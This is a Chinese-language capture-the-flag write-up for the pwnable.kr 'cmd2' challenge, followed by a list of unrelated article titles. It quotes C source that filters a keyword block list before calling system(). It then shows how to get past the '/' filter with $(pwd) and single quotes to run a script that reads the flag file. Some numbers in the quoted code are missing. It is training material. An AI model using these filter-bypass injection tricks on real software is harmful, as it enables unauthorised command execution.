【pwnable.kr】cmd2
2024-09-04 00:56:11
这道题是上一个cmd1的升级版
ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :))
登录之后,还是审计一下源代码:
#include <stdio.h>
#include <string.h> int filter(char* cmd){
int r=;
r += strstr(cmd, "=")!=;
r += strstr(cmd, "PATH")!=;
r += strstr(cmd, "export")!=;
r += strstr(cmd, "/")!=;
r += strstr(cmd, "`")!=;
r += strstr(cmd, "flag")!=;
return r;
} extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, , strlen(*p));
} int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[])) return ;
printf("%s\n", argv[]);
system( argv[] );
return ;
}
可以看到,比上一次的命令过滤要严格,过滤了“/”,这样一来,上一次的payload就不能用了。
但是可以想办法构造上一次的payload。—— /tmp/p4nda
仔细看来,只有/被过滤了,其他的都可以保持不变。而通过尝试,发现system函数可以执行pwd命令
可以想到,是否可以通过pwd构造/呢?
在linux文件目录下 / 代表根目录,这样cd /之后,再次执行pwd就是/了。
因此,同样构造上次的/tmp目录下p4nda文件,内容为“/bin/cat /home/cmd2/flag”
并且利用$()来拼接/tmp/目录
具体可以用$(pwd)tmp$(pwd)p4nda
当输入到程序中,并没有执行
原因是在调用时,系统自动就把$(pwd)转换成了/
这时想到用单引号',来绕过这种修改,
/home/cmd2/cmd2 '$(pwd)tmp$(pwd)p4nda'
flag:
最新文章
- php实现返回上一页的功能
- C#中ToString格式大全
- Ubuntu 14.04 编译安装 boost 1.58
- [转] How to import a large data set using XPO efficiently within a transaction
- 如何把excel数据导入数据库
- Winform开发框架重构总结
- spring boot学习笔记
- bootstrap, boosting, bagging 几种方法的联系
- C puzzles详解【13-15题】
- Jersey Rest服务类型
- think in java 第四版读书笔记 第一章对象导论
- html5异步上传图片显示上传文件进度条
- bzoj 3527: [Zjoi2014]力 快速傅里叶变换
- QTreeView处理大量数据(使用1000万条数据,每次都只是部分刷新)
- 抛砖引玉:探讨网站性能优化之Javascript异步懒加载技术
- ViewPager无限轮播与自定义切换动画
- Centos7 + Python3.6 + Django + virtualenv + gunicorn + supervisor 环境配置详解
- Swift Enum 枚举
- Spring4相关jar包介绍(转)
- linux虚拟机ping不通主机和外网(包括刚装系统遇到的一些问题)